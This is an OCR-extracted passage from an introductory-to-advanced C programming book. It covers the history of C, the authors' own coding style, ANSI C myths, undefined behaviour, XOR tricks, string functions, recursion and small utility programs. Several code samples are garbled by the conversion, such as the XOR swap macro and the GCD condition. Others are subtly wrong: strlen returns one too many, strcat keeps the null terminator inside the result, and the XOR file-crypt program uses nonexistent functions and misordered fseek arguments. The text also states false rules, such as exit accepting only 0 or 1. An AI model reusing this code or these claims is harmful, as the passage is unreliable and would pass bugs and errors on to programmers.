## 1

 "Test everything. Hold on to the good." First ChapterGreetings.
It is a common practice to skip the acknowledgement and book organization. So we have placed them in the First Chapter! Please read this chapter without fail to understand this book better.

### 1.1 Acknowledgement

Throughout the world many people have contributed to this book. We must acknowledge all those good people. We sincerely thank Dr. Dennis M. Ritchie, creator of C language for granting permission to use his photo. Our thanks also goes to Dr. Ralf Brown for providing us his great source-Ralf Brown's Interrupt List for this book. We must thank Mr. Alexander Russell for his unconditional support to this book. We are proud to thank all the real and international programmers who provided their source code to us.

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K. Joseph Wesley

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R. Rajesh Jeba Anbiah

### 1.2 Book Organization

## Part I - ANSI C

| Part II | - | DOS Programming |
| :--- | :--- | :--- |
| Part III | - | Advanced Graphics Programming |
| Part IV | - | Advanced Programming |
| Part V | - | Mathematics \& C |
| Part VI | - | Algorithms \& C |
| Part VII | - | Illegal Codes |
| Part VIII | - | Next Step |
| Part IX | - | Smart Dictionary |
| Part X | - | Postlude |

### 1.3 FAQ about $A$ to $Z$ of $\mathbf{C}$

$\mathrm{Q}:$ What do you mean by FAQ?
A: FAQ is the acronym for Frequently Asked Questions. So when you read FAQ, most of your questions will be answered!

Q: Why have you written this book?
A: Because of the dissatisfaction over the existing books on C! Yes. We have lots of books on C, but most of the books do not cover advanced topics and most of the books are priced higher. So we have decided to write a non-profit book and to let the secrets open! We could see many Indian authors who have stolen the works of International Programmers without acknowledging them. So, in our book, we decided to acknowledge those intelligent people. (Many authors had thrust different myths \& mistakes directly or indirectly in the minds of Indian C Programmers)

Q: What is the user level of this book?
A: Intermediate to Advanced
Q : What is the category of this book?
A: Programming. We've got so many ways to solve a single problem. And hence this book also introduces various approaches to solve different problems.

Q: To whom have you written this book?
A: C lovers, students, programmers, and other enthusiasts.
Q: Is this book for students of top level institutions?
A: No. We never think that those people are super human beings. Our doctrine is "If you can, then I can! If I can, then you can!" This book is for learners.

Q: I want to score more marks in University examination. Will this book help me?
A: No. We are dead against the mark-based culture. This book is purely for enthusiasts. This book is written to open many secrets of C .

Q: What are the special features of this book?
A: This book is not only written by K. Joseph Wesley \& R. Rajesh Jeba Anbiah, but many renowned International programmers' and authors' materials are also used with permission. The supplement CD got many sources, and utilities. For more details about CD , see "Contents of CD

Q: How far I can trust source codes of this book?
A: We have tested all the codes. Certain source codes of this book are of real programmers. We have used their codes according to their terms. So all codes should logically work! But, obviously there must be some flaws in the approach/solution; the readers are encouraged to find better-alternate solution.

Q: Which compiler \& IDE you are going to use?
A: We have used TC++3.0. And all parts of this book refer the IDE (Integrated Development Environment) TC++3.0 unless otherwise noted.

Q: How should I use this book?
A: Read all the contents of the book first. Then workout examples and exercises. After gaining confidence, dare to do projects!

### 1.4 Book Style

The book contains "Note" \& "Caution" wherever it is necessary. We thought the word "We" would confuse the reader whether it refers "authors \& reader" or "K. Joseph Wesley \& R.Rajesh Jeba Anbiah (authors)". So we have decided to use "I" instead of "We" for clarity. And hereafter the word "I" refers "authors (K. Joseph Wesley \& R. Rajesh Jeba Anbiah)" and "We" refers "authors \& reader".
"Every good tree produces good fruit."

## Birth of C

C is very often referred as a "System Programming Language" because it is used for writing compilers, editors and even operating systems. C was developed and implemented on the UNIX operating system on the DEC PDP-11, by Dennis M. Ritchie. C was evolved during 1971-73 from $B$ language of Ken Thompson, which was evolved (in 1969-70) from BCPL language of Martin Richards.


Dennis M. Ritchie,
Creator of C Language Courtesy: Lucent Technologies

| Timeline |  |  |
| :---: | :---: | :---: |
| Year | Language/ OS | Remarks |
| 1956-63 | Assembly Language | IBM developed Assembly language |
| 1954-57 | FORTRAN (FORmula TRANslation) | A team lead by John W. Backus developed a numerically orientated language called FORTRAN |
| 1958 | ALGOL(ALGOrithmic Language) | An important structured programming language was developed by committee of European and American computer scientists |
|  |  | FORTRAN \& ALGOL's type structures later influenced many other languages including BCPL, B \& C |
| 1964 | PL/I (Programming Language 1) | IBM developed a clean language intended for both business and scientific purposes |
| 1965 |  | The famous "Multics project" was started by MIT, Bell Labs \& General Electric as a joint venture. Multics (Multiplexed Information and Computing Service) is an experimental Operating System. It was the first operating system written in a high level language namely PL/I |
|  | TMG (TransMoGrifiers) | McClure developed TMG as a language for writing compilers |


| Year | Language/ OS | Remarks |
| :---: | :---: | :---: |
| 1967 | BCPL (Basic Combined Programming Language) | Martin Richards wrote BCPL, while he was visiting MIT |
|  |  | Dennis M. Ritchie joined Bell Labs |
| 1969 |  | Bell Labs pulled out of the Multics project because of lack of hardware support |
|  |  | PL/I was proved to be inefficient with Multics project. <br> Ken Thompson \& Dennis M. Ritchie felt that BCPL was also inefficient, who were using BCPL in Multics project too. |
|  | Unix | Ken Thompson wrote original Unix system in PDP-7 assembler |
|  |  | Mcllroy and Bob Morris used TMG to write PL/I compiler for Multics |
| 1969-70 | B | Challenged by Mcllroy's feat in reproducing TMG, Ken Thompson wrote a system programming language called B |
|  |  | $B$ is a BCPL squeezed into 8 k bytes of memory. |
|  |  | One theory says that B's name is derived from BCPL. But other theory says B's name is a contraction of Bon, another language created by Ken Thompson during Multics days. Bon is thought to be named after Bonnie, Ken Thompson's wife. |
|  |  | B compiler on PDP-7 did not generate machine code instructions, instead generated 'threaded code' |
| 1971 | NB (New B) | Dennis M. Ritchie began to rewrite B's compiler to generate PDP-11 machine instructions. He also added character types to $B$ for brevity. At the early stage he called it as NB (New B) |
| 1971-73 | C | Dennis M. Ritchie added few more features to NB and C was born |
| 1973(summer) |  | AT\&T scientists rewrote Unix kernel in C. That incident added popularity to C |
| 1978 |  | Brian Kernighan \& Dennis M. Ritchie wrote "The C Programming Language", the first authoritative book on C. This book is often nicked as "K\&R" or "white book" |
| 1977-1979 |  | C has undergone few more changes when Unix system's popularity was demonstrated |

## 6 A to Z of C

| Year | Language/ OS | Remarks |
| :---: | :--- | :--- |
| 1983 | ANSI established X3J 11 committee to <br> standardize C language |  |
| $1979-1983$ | C++ | Bjarne Stroustrup wrote C++, an object <br> oriented language at AT\&T Bell labs. C++ <br> was early known as "C with Classes". It is <br> almost backward compatible with C. The first <br> version of C++ was used internally in AT\&T in <br> August 1983 |
| October, 1985 |  | First commercial implementation of C++ was <br> released |
| 1989 | ANSI C | C+'s style, especially function prototype <br> declaration influenced ANSI C |
| 1990 | ANSI X3J 11 committee came out with a new <br> and decent standard for C |  |
| March, 2000- <br> November, <br> 2001 | ANSI C standard was also accepted by ISO as <br> ISO/IEC 9899-1990 |  |
|  | K. Joseph Wesley \& R. Rajesh Jeba Anbiah <br> wrote the book you hold-A to Z of C, <br> because of the dissatisfaction over existing C <br> books |  |

## Important Notice

The date of introduction of many languages in the above table is merely a rough approximation. Experts have divided regarding the date of introduction of many languages. Even the creators of many languages are also not clear; especially Dennis M Ritchie didn't specify the exact release date of C. I think, those languages are developed for personal needs and not aimed for commercial hit, that's why they lack the clear release date.

So if you are a teacher, please don't ask the questions regarding the date of release of certain languages, as they are not clear. If you are a student and you're asked such questions, raise your voice for a better system of questioning.

## 3 "The wise listen to advice." <br> Coding Style

"Coding" and "Programming " are interchangeably used in Programming World ("code" refers to "program"). Readability can be referred as how far your code can be readable. So for better readability it is necessary to code with good style and indentation (Indentation refers to proper spacing and alignment). And so we've got lots of coding styles. Indian Hill style \& Hungarian Style are the most popular among other coding styles. But I have found that no coding style is perfect. And I have developed a new coding style named as WAR (Wesley and Rajesh). Let me introduce WAR coding style in the end of this chapter!

### 3.1 Indian Hill Style

Indian Hill Style is one of the most popular coding styles used by most of the real programmers. If you know Java, you might be already aware of Indian Hill Style. I hope the following fragments would help you to identify Indian Hill Style.

```
    /* Here is a comment.
    * This is for demo.
    */
enum day { SUN=1, MON, TUE, WED, THU, FRI, SAT };
struct date {
    int dd; /* day no. 1-31 */
    enum day dname; /* weekday name */
    long yyyy; /* year */
};
/* Another comment.
    * Purpose of the function.
    */
    int
foo ( foo1_t const *f1, foo2_t *f2 )
{
        for (...) {
                        while (...) {
                        if (error)
                            goto error;
                            }
        }
```

```
    error:
    clean up the error
    return( what );
}
```


### 3.2 Hungarian Coding Style

Visual Basic programmers use Hungarian Coding Style. In this coding style, you can see that the variables are prefixed with their data types, which is also a disadvantage to this style. The following code fragment uses Hungarian Coding Style.
int intStudNo;
double dblStudPercentage;

### 3.3 WAR (Wesley And Rajesh) Coding Style

I personally feel that none of the above coding style is good and so I developed WAR coding style. The following are the rules of WAR coding style:
a) All functions written by programmers should begin with capital letter (to differentiate it with built-in functions) and should not contain underscores.

```
(e.g.) MyGotoXY( ),Window( ),MsgWindow( )
```

b) All global variables should begin with capital letter and must contain underscore.
(e.g.) Next_Tick
c) All local variables should be formed with small letters.

```
(e.g.) nexttick, tick
```

d) All variables should be meaningful. Variables i, j, k, l, m, n are to be used for iteration purposes.

```
(e.g.) for( i=0; i<n; ++i )
```

e) Structure declaration should not accompany with initialization. Initialization should be done separately for clarity.

```
(e.g.) struct date
    {
        int dd;
        int mm;
        int yYyy;
    };
        struct date dob = { 10, 10, 2001 };
```

f) Structure that won't require more than one name can be typedefed.

```
(e.g.)typedef struct
    {
        BYTE fileid;
            :
    } FILEHEADER;
```

g) The definition with typedef or \#define should contain only capital letters.

```
(e.g.) typedef int BOOLEAN;
    #define TRUE (1)
    #define FALSE (0)
```

h) All declarations should precede functions, all functions should precede main ( ).
i) Don't use goto statement.
j) Don't use more than one return statement in a single function.
k) Try to avoid use of exit ( ) in programs. But exit( ) can appear in the beginning of the program or on a separate procedure for checking errors.

1) Don't use continue and break, instead use BOOLEAN variable.

Part I ANSI C
"Never give in, never give in, never give in-in nothing great or small, large or petty-never give in except to convictions of honor and good sense"
-Winston Churchill

## ANSI C - Prelude

When C language was developed, it took its popularity and many changes have been done on the language by other people. It necessitates the need for a good standard for C. Thus in 1983 American National Standards Institute (ANSI) established a committee to "standardize" the C language. The main objective of ANSI was to provide portability to C. (Portability is nothing but how far your code is portable, i.e. how far your code can be transported between different

## Note

As Part I, fully concentrates on ANSI C, choose ANSI C from your Turbo C++3.0 IDE (Options > Compiler > Source $>$ ANSI C) to let your standard to ANSI C. machines \& different operating systems). The result of the committee's work was completed by the end of 1988. And the result is the ANSI standard or ANSI C.

Thus the word 'C' directly or indirectly refers to ANSI C. Indian Programmers very often misunderstand that DOS programming is C programming. There is a vast difference between DOS programming and C programming. C programming always refers to ANSI C standard.

ANSI C was accepted by ISO too. Thus ANSI C is the international standard for C .

## Caution

ANSI C does not have getch ( ) , dos.h and other DOS based functions. If you are not sure about the functions, place the cursor over the function and press Ctrl+F1 and check the documentation, whether it is acceptable in ANSI standard or not.

### 4.1 Myth \& Mistakes

## Q: Is there any difference between "C programming" and "DOS programming"?

A: Yes. There is a lot of difference between the two. The term "C programming" always refers to ANSI C. The main objective of ANSI C is to provide portable C code. If you write a code that can run only on DOS, then it is a DOS program (not C program) and you will be referred as "DOS Programmer"!

You have to understand that C (ANSI C) programs are $100 \%$ portable and those programs can run on any operating systems and on any machines.

So if you develop a C program that can run only on DOS, it is DOS programming. The right term in this context is "DOS programming with $C$ ".

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Q: I am working with UNIX. Am I working with ANSI standard?
A: Yes. As far as I know all the UNIX based compilers follow ANSI standards. But the DOS or Windows based compilers use their own standards.

Q: Many people refer "C is Sea". Is C big enough with number of functions?
A: No. According to K\&R ("K\&R" and "White book" are the nick names for "The C Programming Language", the book written by Kernighan and Ritchie) "C is not a big language...C is pleasant, expressive..." But we can widen the C library with our own functions.

Q: Are all software being written in $C$ ?
A: May not be. K \& R says that all UNIX application programs are written in C. But other operating system developers haven't said so. According to me most of the DOS based applications are written in Assembly than in C. So this question doesn't have any valid answer.

### 4.2 Tips for better Programming

### 4.2.1 Coding Style

Readability is a must for every program. So I ask you to use WAR coding style. The rule(j) of WAR coding style, which says, "Don't use more than one return ( ) on a single function" may be little bit hard for you. But if you code with WAR coding style, your code would get more readability than with other coding styles.

Usually programmers uses the following style for strcmp ( ) function:

```
/* strcmp( ) without WAR coding style */
int strcmp(char *s, char *t)
{
    while(*s==*t)
    {
        if(*s=='\0')
            return(0);
        ++s;
        ++t;
    }
    return(*s-*t); /* more than one return statement */
}
```

But if you code with WAR coding rules your code will be more readable. The following code fragments use WAR coding style for the same strcmp ( ) .

```
/* strcmp( ) with WAR coding style */
int strcmp( char *s, char *t )
{
    int n;
```

```
while ((n = *s - *t++) == 0 && *s++)
    ;
    return( n );
```

\}

Now you might have found that how far WAR coding style is better than other coding styles.

### 4.2.2 Boolean Variables

In C, ' 0 ' refers to 'False' and any other number refers to 'True'. But however, we don't have separate data type for Boolean. But it is wise to have Boolean, for better programming.

Boolean can be defined like:

## Version 1

```
enum BOOLEAN
{
                                    FALSE, TRUE
    };
```

Version 2
enum BOOLEAN
\{
FALSE $=0$, TRUE $=1$
\};
Version 3
enum BOOLEAN
\{
FALSE=0, TRUE
\};
Version 4
enum BOOLEAN
\{
TRUE $=1$, FALSE $=0$
\};

All the above four versions use enum. But programmers rarely use enum.
Some people use

## Version 5

```
typedef char BOOLEAN;
    #define TRUE (1)
    #define FALSE (0)
```

Version 5 uses typedef to define BOOLEAN. It is efficient in terms of space (memory) to use char. But char is slower than int.

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So let's see another version.

## Version 6

typedef int BOOLEAN
\# define TRUE (1)
\# define FALSE (0)
Version 6 uses int for BOOLEAN. Since int is the fastest data type in C, version 6 is better than any other implementations. Also FALSE \& TRUE are defined with macro \#define. So it is the fastest implementation of BOOLEAN. So I recommend you to use version 6 for BOOLEAN implementation.

### 4.2.3 How to code better?

Beginners usually ask the question: How to develop programming skills? According to me, the programs related to 'Calendar' will help you to develop programming skills. You must remember to use all features of the language when you program.

The following points will help you to program better:
a) Your code should be efficient. 'Efficient' refers to less in code size and faster in execution.
b) Your code should have good readability.
c) Your code should use all the good features of the language

Try to rewrite your code. It will help you to reduce the size of the code and to increase readability.
"If you act too quickly, you might make a mistake."

## main( ) and Mistakes

Many people mishandle the main( ) function. You can avoid such mishandling by setting your compiler to ANSI C standard so that it will point out the error.

### 5.1 What main( ) returns?

main ( ) should return 0 or 1 . If it returns 0 to the operation system, the operating system will understand that the program is successfully executed. If it returns 1 , the operating system will understand that the program is terminated with error. So main ( ) should not be declared as void.
main( ) should be declared as

```
int main( void )
{
    :
        :
    return ( 0 ); /* or return( EXIT_SUCCESS ); */
}
```


### 5.2 Arguments of main ( )

main ( ) should be declared without any arguments or with two arguments:
a) int main( void )
or
b) int main( int argc, char *argv[] )

## 5.3 exit ( )

The statement exit ( ) also returns values to the operating system as the return ( ) in main ( ). The exit takes only two values 0 and 1 . (Many people use exit (2), exit (3).... All these are wrong!)

So exit should be used as:
a) For normal termination exit ( 0 ); or exit( EXIT_SUCCESS);
b) For abnormal termination exit ( 1 ); or exit( EXIT_FAILURE);
"Iron sharpens iron."

## Undefined

If the "grammar" was not defined for a given particular operation, it is called as "Undefined". So each compiler would give different answers for a given particular operation. Usually compilers won't check such 'Undefined' usage. So it is our responsibility to check it.

### 6.1 Example

char buffer[5];
strcpy(buffer, "Hello World"); /* Undefined */
For example the operation of copying a string to buffer, which is smaller than the string is ‘Undefined'. That means Dennis Ritchie didn't say (or define) anything about such operations.

### 6.2 Frequently Asked Undefined Questions

a) What is the output of following code?

```
int i = 7;
printf( "%d", i++ * i++ );
```

b) What would happen to the array after executing the following statements?

```
int a[5], i = 1;
a[i] = i++;
```

c) What is the value of i after the execution of the following statement?

```
int i = 7;
i = ++i;
```

These idiotic questions are very often asked in Indian Programming world. The outputs are undefined. Even if such questions are asked, the right answer will be "the result is undefined".

[^0]
## 7 "The slap of a friend can be trusted to help you." <br> The Magic XOR

The powerful XOR operator $(\wedge)$ is rarely used by Indian C Programmers. Let's see some of its uses.

### 7.1 Swap Macro

The XOR operator is widely used for swapping integers as

## Note

XOR(^) operator works only with integer data types like char, int. It does not work with float or double.

```
#define SWAP(x, y)
( }\mp@subsup{\textrm{x}}{}{\wedge}=\mp@subsup{y}{}{\wedge}=\mp@subsup{\textrm{x}}{}{\wedge}=\textrm{y}
```

But this doesn't work with floating point values. It also doesn't work when we send values as SWAP (a, a).

### 7.2 Flip and Flop

One of the most important use of XOR is that we can generate the integer sequence like 1,13 , $1,13,1,13 \ldots$ very easily. Such an operation is sometimes referred as toggling of values.

```
int main( void )
    {
        int i, n;
        for( i=0, n=1; i<10; ++i, n ^= (1^13) )
            printf("%d", n);
        return(0);
}
```

| Output |
| :--- |
| $1,13,1,13,1,13,1,13,1,13$ |

### 7.3 Crypting with XOR

Some people use complementary operator ( $\sim$ ) for easy crypting. Since such technique doesn't have any 'key' values, it is easy to decrypt the file. XOR provides an easy way to crypt and decrypt with 'key' support.

```
int CryptOrDecrypt( int ch )
{
    key = 'a';
    return( ch^key );
}
```


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```
int main( void )
{
    int ch;
    FILE *fp = fopen("test.dat", "r+");
    while( !feof(fp) )
    {
        ch = fgetch(fp);
        ch = CryptOrDecrypt(ch);
        fseek(fp, SEEK_CUR, -1);
        fputch(fp, ch);
    }
    fclose(fp);
}
```

Now you can crypt or decrypt your file with a single function CryptOrDecrypt ( ). If you want to send some crypted message to someone else, both of you must have this CryptOrDecrypt ( ) function.

## Caution

'key' value should not be 0 . If key value is 0 , the line will not be crypted because $\mathrm{N}^{\wedge} 0=\mathrm{N}$.

## String Function

In C, we have important string functions: strlen( ), strcpy ( ), strcat ( ) \& strcmp ( ). If you know the efficient coding of these functions, it will certainly help you to improve your programming skills. All these functions are coded with WAR coding style.

```
8.1 strlen( )
    int strlen( char *s )
    {
        char *ptr = s;
        while( *ptr++ )
            ;
        return( ptr-s );
    }
```

8.2 strcpy ( )
char *strcpy ( char *s, char *t )
\{
char *ptr=s;
while( *s++ = *t++ )
;
return ( ptr );
\}
8.3 strcat ( )
char *strcat( char *s, char *t )
\{
char *ptr=s;
while( *s++ )
;
while( *s++ = *t++ )
;
return ( ptr );
\}

## 8.4 stramp ( )

    int strcmp( char *s, char *t )
    \{
        int n ;
        while ((n = *s - *t++) == 0 \&\& *s++)
        ;
        return( n );
    \}
    
## 9

 "Pride will destroy a person."
## Recursion

A function that calls itself is an important feature of C and such functions are called recursive functions. The term "recursion" was derived from the Latin word recursus, which means, "to run back". "Recursive" thinking may be tough for beginners. In this chapter, I have presented some interesting recursive programs. Few programs are my original work, others are improved version of existing recursive programs.

## Note

As recursive programs use "memory stack", it reduces execution speed. And it may cause "stack overflow" which would in turn crash your system. If you compile your program with "Test stack overflow" option, you can avoid this problem. For this, choose OPTIONS >COMPILER >ENTRY/EXIT CODE > Test stack overflow.

### 9.1 Factorial

This is the most famous program on recursion. Many versions of this program are available. All programs differ only in checking conditions. I prefer to write like the following one.

```
long Factorial( int n ) /* returns factorial */
{
    if ( n>0 )
        return( n * Factorial(n-1) );
        else
        return( 1 );
} /*--Factorial( )------*/
```


### 9.2 Fibonacci

The following program returns the $\mathrm{n}^{\text {th }}$ Fibonacci number. Fibonacci series is: 1, 1, 2, 3, 5, $8,13,21 \ldots$

```
int Fibonacci( int n ) /* returns nth Fibonacci number */
{
    if ( n==1 || n==2 )
        return( 1 );
        else
            return( Fibonacci(n-1) + Fibonacci(n-2) );
} /*--Fibonacci( )-------*/
```


### 9.3 GCD

Here is the program to find the Greatest Common Divisior (GCD) of two numbers a \& b.

```
int GCD( int a, int b ) /* returns GCD of a, b */
{
    if ( }\textrm{a}>==\textrm{b}&& a%\mp@code{b}==0 
        return( b );
        else if ( a<b )
        return( GCD( b, a ) );
        else
        return( GCD( b, a%b ) );
} /*--GCD( )----------*/
```


### 9.4 Power

I haven't yet come across user defined power function, which could handle negative n (say, $4.5^{-5}$ ). Here is the program I tried...it could handle negative n too!

```
double Power( double x, int n ) /* returns x power n */
{
    if ( n==0 )
            return( 1 );
        else if ( n>0 )
            return( x * Power( x, n-1 ) );
        else
            return( (1/x) * Power( x, n+1 ) );
} /*--Power( )-----------*/
```


### 9.5 Reverse Printing

This is a wonderful program to understand the behavior of recursion.

```
void ReverseChar( void ) /* prints characters in reverse */
{
    char ch;
    if ( (ch=getchar( ))!='\n' )
        ReverseChar( );
    putchar( ch );
} /*--ReverseChar( )---------*/
```


### 9.6 Decimal to binary conversion

The following recursive function gets decimal value as input and prints binary value. It prints each bit value ( 0 or 1 ) one by one.

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```
void ToBin( int n ) /* prints decimal in binary */
{
    if (n>1)
        ToBin( n/2 );
    printf( "%d", n%2 );
} /*--ToBin( )---------*/
```


### 9.7 Decimal to hexadecimal conversion

```
void ToHex( int n ) /* prints decimal in hexadecimal */
{
    char *htab[ ] = { "0", "1", "2", "3", "4", "5", "6", "7", "8",
                "9", "A", "B", "C", "D", "E", "F" };
    if (n>15)
        ToHex( n/16 );
    printf( "%s", htab[n%16] );
} /*--ToHex( )-----------*/
```


### 9.8 Printing a decimal in words

The following recursive function gets a decimal number as argument and prints it in words. For example, 12340 will be printed as One Two Three Four Zero.

```
void InWord( int n ) /* prints decimal in words */
{
    char *wtab[ ] = { "Zero", "One", "Two", "Three", "Four",
                                    "Five", "Six", "Seven", "Eight", "Nine" };
    if (n>9)
        InWord( n/10 );
    printf( "%s ", wtab[n%10] );
} /*--InWord( )----------*/
```


## 10

 "It is better to be humble."I nteresting Programs

Everybody might have the question: why programmers are prone to C ? The answer is very simple: C's structure allows programmers to write a small-tight code for complex programs. In this chapter let's see a few interesting programs that use C's real power.

### 10.1 Power of 2

How to find whether the given number is a power of 2 ? i.e., $1,2,4,8,16,32$.. are powers of 2 .

```
#define ISPOWOF2( n ) ( ! ( n & ( n-1 ) )
```

Amazing, isn't it?

### 10.2 Prime Numbers

Everyone knows that prime number is a number that is not divisible by any other number except by 1 and itself. Hence the prime number series will be: $2,3,5,7,11,13,17,19 \ldots$

Generation of prime number seems to be easy. But the efficient implementation is not common. The following program does the efficient implementations and it will help you to increase your programming skill.

```
#include <stdio.h>
#include <math.h>
typedef int BOOLEAN;
BOOLEAN IsPrime( int n ) /* checks for prime */
{
    int i;
    BOOLEAN flag = ( n>1 );
    for( i=2 ; flag && i<=sqrt(n) ; ++i )
            flag = ( n%i );
    return( flag );
} /*--IsPrime( )--------*/
int main( void )
{
    int i;
```


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```
    for( i=1 ; i<1000 ; ++i )
        if ( IsPrime(i) )
                printf( "%d " , i );
    return(0);
} /*--main( ) -----*/
```

See, the BOOLEAN variable flag in IsPrime ( ). It is used to break the for loop. As we haven't used any break or jump statement, it is considered as a good programming.

### 10.3 Roman Letters

The following program will help you to improve your programming skill. The following program converts the Arabic numbers to Roman numbers.

```
void InRoman( int n ) /* converts arabic to roman */
{
    int i, v[ ] = { 1, 4, 5, 9, 10, 40, 50, 90, 100,
                        400, 500, 900, 1000, 9999 };
    char *r[ ] = { "I", "IV", "V", "IX", "X", "XL", "L", "XC", "C",
            "CD", "D", "CM", "M" };
    while ( n )
    {
        for( i=0 ; v[i]<=n ;++i )
            ;
        --i;
        n -= v[i];
        printf( "%s", r[i] );
        }
} /*--InRoman( ) ----------* /
int main( void )
{
    int n;
    printf( "Enter the Arabic number: " );
    scanf( "%d", &n );
    printf( "In Roman, " );
    InRoman( n );
    return(0);
} /*--main( ) ---------*/
```


## Note

The above program works fine upto 4999 , because for 5000 we have $\overline{\mathrm{V}}$. In ANSI C, we can't get $\overline{\mathrm{V}}$. It can be done with Turbo C(DOS programming) by changing character set with int 10 h .

### 10.4 Day of Week

For a given date (i.e., year, month \& day), we may need to know the day of the week (i.e., Sunday or Monday...). We have so many ways to find that. But the code by Tomohiko Sakamoto is very interesting as well as mysterious! Here is the code...It works for the years greater than 1752 (Gregorian Calendar).

```
int DayOfWeek( int y, int m, int d ) /* returns Day of Week:
                                    0 = Sunday, 1= Monday...
                                    */
{
    static int t[] = { 0, 3, 2, 5, 0, 3, 5, 1, 4, 6, 2, 4 };
    y -= m < 3;
    return (y + y/4 - y/100 + y/400 + t[m-1] + d) % 7;
} /*--DayOfWeek( ) --------*/
```


### 10.5 Calendar

The following program prints the calendar for a given year like Unix's cal utility. However, it won't work exactly like "cal" for year-wise output. For that you need to store the output in an array as a grid.

```
#include <stdio.h>
#include <stdlib.h>
int Days_Tbl[2][12] = {
        { 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 },
        { 31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 }
        };
char *Month_Tbl[12] = {
    "January", "February", "March", "April", "May",
    "June", "July", "August", "September",
    "October", "November", "December"
    };
int FirstDayOfMonth( int m, int y );
void PrintCalendar( int m, int y );
int FirstDayOfMonth( int m, int y )
{
    int i, leap;
    long d;
    if ( y>1752 ) /* for Gregorian Calendar */
        {
        leap =( y%4==0&&y%100!=0 || y%400==0 );
```


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```
            d = 365L*1752 + 1752/4;
            d += 365L* (y-1752-1) + (y-1752-1)/4 - (y-1752-1)/100
                +(y-1752-1)/400 + 6;
            }
    else /* for Julian Calendar */
        {
            leap = ( y%4==0 );
            d = 365L* (y-1) + (y-1)/4 + 6;
        }
    for( i=1; i<m; ++i )
            d += Days_Tbl[leap][i-1];
    if ( y>1752 || ( }\textrm{y}==1752 && m>9) 
            d -= 11;
    return( d % 7 );
} /*--FirstDayOfMonth( ) --------*/
void PrintCalendar( int m, int y )
{
    int i, leap, firstdayofmonth;
    firstdayofmonth = FirstDayOfMonth( m, y );
    leap = ( y>1752 ) ? ( y%4==0&& y%100!=0 | | y%400==0 ) : ( y%4==0 );
    printf( "%13s - %d\n", Month_Tbl[m-1], y );
    printf( "Sun Mon Tue Wed Thu Fri Sat\n" );
    for ( i=0; i<firstdayofmonth ; ++i )
            printf( " " );
    for ( i=1 ; i<=Days_Tbl[leap][m-1] ; ++i )
            {
            printf( "%3d ", i );
            if ( (firstdayofmonth + i)%7 == 0 )
                printf("\n");
            if (y==1752 && m==9 && i==2)
                {
                    i += 11;
                        firstdayofmonth += 3;
                }
        }
        printf( "\n" );
} /*--PrintCalendar( ) -----*/
int main( int argc, char *argv[ ] )
{
    int m, y;
    switch( argc )
        {
            case 1:
```

```
            printf( "Syntax: cal [month] year \n" );
            break;
            case 2:
                y = atoi( argv[1] );
                for ( m=1 ; m<=12 ; ++m )
                    {
                            PrintCalendar( m, y );
                            printf( "Press <ENTER>....\n" );
                            getchar( );
                }
                    break;
        case 3:
            m = atoi( argv[1] );
            y = atoi( argv[2] );
            PrintCalendar( m, y );
        }
    return(0);
} /*--main( )----*/
```


### 10.6 Memory-Swap

## Normal Memory

head $\quad$ tail

## Swapped Memory

Consider the situation in which you want to swap the contents of memory without using much external storage space and one portion is larger than the other. In our example, the head portion is larger than tail. It is really a tough job. The code by Ray Gardner efficiently solves this problem.

```
/* memrev: reverse "count" bytes starting at "buf" */
void memrev( char *buf, size_t count )
{
    char *r;
    for ( r = buf + count - 1; buf < r; buf++, r-- )
    {
        *buf ^= *r;
        *r ^= *buf;
        *buf ^= *r;
    }
}
```

```
/* aswap: swap "head" bytes with "tail" bytes at "buf" */
void aswap( char *buf, size_t head, size_t tail )
{
    memrev( buf, head );
    memrev( buf + head, tail );
    memrev( buf, head + tail );
}
```


### 10.7 Block Structure

When we want to declare a variable in the middle of the program, we use block structure as:

```
int main( void )
{
    int a;
    a = 5;
        :
        :
    {
    int b; /* declaration requires block structure. Value of
        `b' is available only to this block */
    b = 6;
        :
        }
        :
}
```


### 10.7.1 Swap macro using Block Structure

When we need a swap macro that works for any data types, we must use block structure.

```
#define SWAP(datatype, a, b) {
datatype a##b = a;\
a = b;
b = a##b;
}
```

In order to swap the values of two variables we need a temporary variable and it needs a name. In fact the name may be temp. But if someone passes a variable that has a name temp, like SWAP ( int, a, temp), everything will collapse! So, we use the preprocessor argument concatenation operator \#\# to create the name (here we get ab) from the actual variable names in the call. This guarantees that the result won't be either of the actual arguments.

Using $\operatorname{XOR}(\wedge)$ operator also we can write the above SWAP macro. Here is the code...

```
#define SWAP(datatype, a, b)
    (unsigned char *)x=(unsigned char *) (&(a)); \
```

```
(unsigned char *)y=(unsigned char *) (&(b)); \
size_t size = sizeof(datatype);
while (size--) {
    *x ^= *y;
    *y ^= *x;
    *x ^= *Y;
    x++;
    y++;
}
```


### 10.8 Printf with \%b

Using the conversion characters $\% \mathrm{X}$ and $\% 0$ we can directly print any decimal number as hexadecimal and octal. But to print binary value, we don't have any conversion characters. The following program introduces '\%b' as a conversion character for binary.

```
#include <stdarg.h>
void MyPrintf( char *fmt, ... )
{
    va_list aptr; /* Points to each unscanned arg in turn */
    char *p, *sval, str[17];
    int ival;
    double dval;
    va_start( aptr, fmt ); /* Initialize the argument pointer. */
    /* Retrieve each argument in the variable list... */
    for( p=fmt; *p ; ++p )
        if( *p=='%' )
        switch( * ++p )
        {
            case 'd':
                            ival = va_arg( aptr, int );
                    printf( "%d", ival );
                            break;
            case 'f':
                            dval = va_arg( aptr, double );
                            printf( "%f", dval );
                            break;
            case 's':
                    for( sval=va_arg(aptr, char*); *sval; ++sval )
                                    putchar( *sval );
                    break;
            case 'b': /* for binary */
                    ival = va_arg(aptr, int); /* Get it as integer */
                    /* radix should be 2 for binary in itoa... */
                    itoa( ival, str, 2 );
```


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```
                for( sval=str; *sval; ++sval )
                        putchar(*sval);
                        break;
                default:
                        putchar(*p);
                }
        else
    putchar( *p );
    va_end( aptr ); /* Clean up when done */
/*--MyPrintf( )----------*/
int main( void )
{
    MyPrintf( "7 in binary is %b \n", 7 );
    return(0);
/*--main( ) -----*/
```

This is not a complete implementation of printf( ). In fact MyPrintf ( ) don't work for $\% 1 \mathrm{~d}, \% \mathrm{u}$, and other format strings. The complete implementation is left to the reader as an exercise.

## Exercises

1. Write a program that use only bitwise operators to multiply any number by 2 .
2. Find out the difference between Unix's text file and DOS's text file. Write a program that converts Unix based text file into DOS based text file, and vice-versa.
3. Implement your own data type for very very long integer (i.e., it should accept any number of digits say, 899999998998998998998998989989 ). Use that data type to find out factorial for any number.

## Suggested Projects

